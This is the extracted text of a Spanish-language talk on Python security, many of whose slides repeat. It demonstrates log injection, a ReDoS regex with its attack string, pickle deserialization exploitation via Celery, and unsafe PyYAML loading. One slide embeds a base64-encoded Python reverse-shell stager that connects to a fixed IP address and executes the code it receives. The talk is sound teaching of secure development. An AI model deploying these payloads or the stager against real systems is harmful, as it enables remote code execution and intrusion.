  • 1. DANIEL GARCÍA (CR0HN) SEGURIDAD & PYTHON EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA https://github.com/cr0hn/i-owasp-madrid
  • 2. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DE QUÉ VA ESTA CHARLA? ▸ Seguridad en código en Python ▸ OWASP aplicado a Python. ▸ Seguridad práctica en Python ▸ Hacking a Python. ▸ E x p l o t a c i ó n d e vulnerabilidades NO tan típicas…
  • 3. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) VULNERABILIDADES TÍPICAS ▸ Cross Site Scripting (XSS). ▸ SQL Injection ▸ Auth ▸ ….
  • 4. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) VULNERABILIDADES TÍPICAS ▸ Cross Site Scripting (XSS). ▸ SQL Injection ▸ Auth ▸ ….
  • 5. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) VULNERABILIDADES TÍPICAS ▸ Cross Site Scripting (XSS). ▸ SQL Injection ▸ Auth ▸ ….
  • 6. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) VULNERABILIDADES POCO CONOCIDAS
  • 7. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) LOG INJECTION
  • 8. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) LOG INJECTION (1/3) @app.route("/info", methods=["POST"])
 def logi():
 
 data = request.form['id']
 
 log.debug("[*] Tried to get info '" + data + "' from the user.")
 
 return "got info!"
 logi/app.py
  • 9. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) LOG INJECTION (1/3) @app.route("/info", methods=["POST"])
 def logi():
 
 data = request.form['id']
 
 log.debug("[*] Tried to get info '" + data + "' from the user.")
 
 return "got info!"
 logi/app.py
  • 10. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) LOG INJECTION (2/3)
  • 11. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) LOG INJECTION (2/3)
  • 12. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) LOG INJECTION (3/3)
  • 13. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) LOG INJECTION (3/3)
  • 14. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) EVIL REGEX
  • 15. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) EVIL REGEX (1/3) Regex: ^(a+)+$
  • 16. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) EVIL REGEX (1/3) Regex: ^(a+)+$
  • 17. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) EVIL REGEX (1/3) Regex: ^(a+)+$ Denial Of System (DoS)
  • 18. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) EVIL REGEX (2/3) @app.route("/mailme/<mail>", methods=["GET"])
 def logi(mail=None):
 
 if re.match(r'^([a-zA-Z0-9])(([-.]|[_]+)?([a-zA- Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1} [a-z]{2,3}))$', mail):
 return "mail sent to: %s" % mail
 else:
 return "mail forma invalid"

  • 19. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) EVIL REGEX (2/3) @app.route("/mailme/<mail>", methods=["GET"])
 def logi(mail=None):
 
 if re.match(r'^([a-zA-Z0-9])(([-.]|[_]+)?([a-zA- Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1} [a-z]{2,3}))$', mail):
 return "mail sent to: %s" % mail
 else:
 return "mail forma invalid"

  • 20. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) EVIL REGEX (3/3) Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
  • 21. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) EVIL REGEX (3/3) Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
  • 22. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) EVIL REGEX (3/3) Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
  • 23. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) EVIL REGEX (3/3) Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! 30 seconds
  • 24. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) VULNERABILIDADES “RARUNAS" I: PICKLE
  • 25. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) QÚE ES Y PARA QUÉ SIRVE PICKLE
  • 26. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) QUÉ ES PICKLE ▸ Módulo de Python que permite serializar y deserializar estructuras de Python. ▸ Es muy sencillo de utilizar. ▸ Viene incorporado con las librerías nativas. ▸ Es el formato de serialización por defecto de muchos frameworks.
  • 27. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) QUÉ PROBLEMA HAY CON PICKLE?
  • 28. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) QUÉ PROBLEMA HAY CON PICKLE?
  • 29. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) QUÉ PROBLEMA HAY CON PICKLE?
  • 30. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) CÓMO FUNCIONA? (1/2) # -*- coding: utf-8 -*-
 
 import pickle
 
 
 class ImSoHappy(object):
 
 def __init__(self):
 self.my_var = []
 
 
 def main():
 pickle.dump(ImSoHappy(), open("my_info.db", "wb"))
 
 
 if __name__ == '__main__':
 main()
 pickle/pickle-good.py
  • 31. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) CÓMO FUNCIONA? (1/2) # -*- coding: utf-8 -*-
 
 import pickle
 
 
 class ImSoHappy(object):
 
 def __init__(self):
 self.my_var = []
 
 
 def main():
 pickle.dump(ImSoHappy(), open("my_info.db", "wb"))
 
 
 if __name__ == '__main__':
 main()
 pickle/pickle-good.py
  • 32. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) CÓMO FUNCIONA? (2/2) ?c__main__
 ImSoHappy
 q)?q}qXmy_varq]qsb. pickle/my_info.db
  • 33. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) VOLVÁMONOS MALOS
  • 34. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) VOLVÁMONOS MALOS
  • 35. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) Y SI… ▸ Pickle nos permitiera modificar el flujo de deserialización? ▸ Y si pudiéramos intervenir y ejecutar cuando un objeto de deserializa? ▸ Y si ejecutaremos cosas malas? ▸ Y si fuéramos muy muy muy malos… y si inyectáramos un shell????
  • 36. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) Y SI… ▸ Pickle nos permitiera modificar el flujo de deserialización? ▸ Y si pudiéramos intervenir y ejecutar cuando un objeto de deserializa? ▸ Y si ejecutaremos cosas malas? ▸ Y si fuéramos muy muy muy malos… y si inyectáramos un shell????
  • 37. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) Y SI… HICIÉRAMOS UNA DEMO? pickle/pickle-004.py pickle/pickle-003.py pickle/pickle-002.py pickle/pickle-001.py
  • 38. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) Y SI… HICIÉRAMOS UNA DEMO? pickle/pickle-004.py pickle/pickle-003.py pickle/pickle-002.py pickle/pickle-001.py
  • 39. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) CELERY + PICKLE: GRAN FALLO DE SEGURIDAD
  • 40. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (1/5)
  • 41. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (2/5)
  • 42. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (2/5)
  • 43. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (3/5) worker 2 Worker worker 1 Worker heavy_action()
  • 44. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (3/5) Broker worker 2 Worker worker 1 Worker heavy_action()
  • 45. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (4/5) from celery import Celery
 
 app = Celery(broker="redis://127.0.0.1")
 
 @app.task(name="heavy_action")
 def heavy_action(param):
 print(param)
 
 def main():
 # Exploit!
 app.send_task("heavy_action", (MyLittleBastard(), )) pickle/celery_exploit.py
  • 46. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (5/5) ¡Demo time!
  • 47. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) VULNERABILIDADES “RARUNAS" II: YAML
  • 48. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) QUÉ ES EL YAML import yaml
 
 YAML = '''
 hello: world
 how:
 - are
 - you
 '''
 
 
 def main():
 print(yaml.load(YAML))
 
 
 if __name__ == '__main__':
 main()
 { 'how': ['are', 'you'], 'hello': ‘world’ } yml/yml-001.py
  • 49. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) QUÉ COSAS “RARUNAS” NOS OFRECE YAML import yaml
 
 YAML = '''
 hello: world
 how:
 - are
 - you
 
 my_bool: !!bool False
 '''
 
 
 def main():
 print(yaml.load(YAML)) { 'my_bool': False, 'hello': 'world', 'how': ['are', ‘you'] } yml/yml-002.py
  • 50. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) QUÉ COSAS “RARUNAS” NOS OFRECE YAML import yaml
 
 YAML = '''
 hello: world
 how:
 - are
 - you
 
 my_bool: !!bool False
 '''
 
 
 def main():
 print(yaml.load(YAML)) { 'my_bool': False, 'hello': 'world', 'how': ['are', ‘you'] } yml/yml-002.py
  • 51. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) QUÉ COSAS “RARUNAS” NOS OFRECE YAML http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes
  • 52. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) QUÉ COSAS “RARUNAS” NOS OFRECE YAML http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes
  • 53. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) QUÉ COSAS “RARUNAS” NOS OFRECE YAML http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes
  • 54. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) EJEMPLOS… YUHU!!! import yaml
 
 YAML = '''
 hello: world
 how:
 - are
 - you
 
 gif_image: !!binary "R0lGODlhDAAMAIQAAP//9/ X17unp5WZmZgAAAOfn515eXvPz7Y6Oju Dg4J +fn5OTk6enp56enmlpaWNjY6Ojo4SEhP /++f/++f/++f/++f/++f/++f/++f/+ +f/++f/++f/++f/++f/++f/++SH +Dk1hZGUgd2l0aCBHSU1QACwAAAAADAA MAAAFLCAgjoEwnuNAFOhpEMTRiggcz4B NJHrv/ zCFcLiwMWYNG84BwwEeECcgggoBADs="
 ''' import yaml
 
 YAML = '''
 hello: world
 how:
 - are
 - you
 
 reverse_shell: !!binary "aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1 zb2NrZXQuc29ja2V0KDIsc29ja2V0LlN PQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCc xMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN 0cnVjdC51bnBhY2soJz5JJyxzLnJlY3Y oNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWx lIGxlbihkKTxsOgoJZCs9cy5yZWN2KGw tbGVuKGQpKQpleGVjKGQseydzJzpzfSk K"
 '''
 yml/yml-003.py yml/yml-004.py
  • 55. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) EJEMPLOS… YUHU!!! import yaml
 
 YAML = '''
 hello: world
 how:
 - are
 - you
 
 gif_image: !!binary "R0lGODlhDAAMAIQAAP//9/ X17unp5WZmZgAAAOfn515eXvPz7Y6Oju Dg4J +fn5OTk6enp56enmlpaWNjY6Ojo4SEhP /++f/++f/++f/++f/++f/++f/++f/+ +f/++f/++f/++f/++f/++f/++SH +Dk1hZGUgd2l0aCBHSU1QACwAAAAADAA MAAAFLCAgjoEwnuNAFOhpEMTRiggcz4B NJHrv/ zCFcLiwMWYNG84BwwEeECcgggoBADs="
 ''' import yaml
 
 YAML = '''
 hello: world
 how:
 - are
 - you
 
 reverse_shell: !!binary "aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1 zb2NrZXQuc29ja2V0KDIsc29ja2V0LlN PQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCc xMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN 0cnVjdC51bnBhY2soJz5JJyxzLnJlY3Y oNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWx lIGxlbihkKTxsOgoJZCs9cy5yZWN2KGw tbGVuKGQpKQpleGVjKGQseydzJzpzfSk K"
 '''
 yml/yml-003.py yml/yml-004.py
  • 56. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) EJEMPLOS… YUHU!!! import yaml
 
 YAML = '''
 hello: world
 how:
 - are
 - you
 
 gif_image: !!binary "R0lGODlhDAAMAIQAAP//9/ X17unp5WZmZgAAAOfn515eXvPz7Y6Oju Dg4J +fn5OTk6enp56enmlpaWNjY6Ojo4SEhP /++f/++f/++f/++f/++f/++f/++f/+ +f/++f/++f/++f/++f/++f/++SH +Dk1hZGUgd2l0aCBHSU1QACwAAAAADAA MAAAFLCAgjoEwnuNAFOhpEMTRiggcz4B NJHrv/ zCFcLiwMWYNG84BwwEeECcgggoBADs="
 ''' import yaml
 
 YAML = '''
 hello: world
 how:
 - are
 - you
 
 reverse_shell: !!binary "aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1 zb2NrZXQuc29ja2V0KDIsc29ja2V0LlN PQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCc xMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN 0cnVjdC51bnBhY2soJz5JJyxzLnJlY3Y oNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWx lIGxlbihkKTxsOgoJZCs9cy5yZWN2KGw tbGVuKGQpKQpleGVjKGQseydzJzpzfSk K"
 '''
 yml/yml-003.py yml/yml-004.py
  • 57. SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA DANIEL GARCÍA (CR0HN) ¡GRACIAS!